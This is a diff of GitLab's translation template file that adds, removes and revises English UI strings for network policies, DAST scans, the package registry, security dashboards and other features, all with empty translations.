+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16054,6 +16548,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16066,6 +16563,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16084,12 +16584,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16114,9 +16620,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16129,9 +16641,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16526,12 +17083,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16619,18 +17182,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16778,9 +17335,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16820,9 +17374,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16865,21 +17416,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16889,25 +17446,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16968,9 +17531,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16989,6 +17549,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17004,9 +17567,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17127,18 +17696,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17172,9 +17735,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17259,6 +17819,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17274,6 +17840,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17292,9 +17861,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17331,27 +17897,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17400,13 +17957,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17550,7 +18113,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18054,6 +18617,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18207,13 +18773,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18225,6 +18791,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18516,15 +19085,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18915,6 +19478,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18939,6 +19505,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19530,7 +20099,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19539,10 +20108,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19602,6 +20180,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19656,6 +20237,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19737,6 +20321,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20067,9 +20654,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20167,6 +20751,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20261,6 +20848,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20303,6 +20893,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20372,9 +20965,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20408,9 +20998,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20423,12 +21010,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20477,15 +21058,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20670,9 +21245,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20864,9 +21436,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21048,6 +21626,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21060,6 +21641,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21186,6 +21770,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21216,6 +21803,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21264,6 +21854,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21306,6 +21899,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21523,6 +22119,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21550,13 +22149,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21577,6 +22200,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21604,7 +22230,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21640,13 +22266,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21661,19 +22284,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21685,6 +22302,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21703,13 +22323,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21781,7 +22401,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21790,6 +22410,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21820,9 +22443,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21946,6 +22566,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21976,6 +22599,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22165,6 +22791,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22177,6 +22809,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22497,19 +23135,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22605,6 +23243,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22647,7 +23288,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22698,12 +23339,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22761,6 +23411,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22890,10 +23543,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23790,6 +24443,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23838,6 +24494,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23850,6 +24509,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24035,6 +24697,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -24105,9 +24773,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24144,9 +24809,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -24154,7 +24816,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24181,6 +24843,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24211,6 +24876,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24265,6 +24933,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24368,13 +25042,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
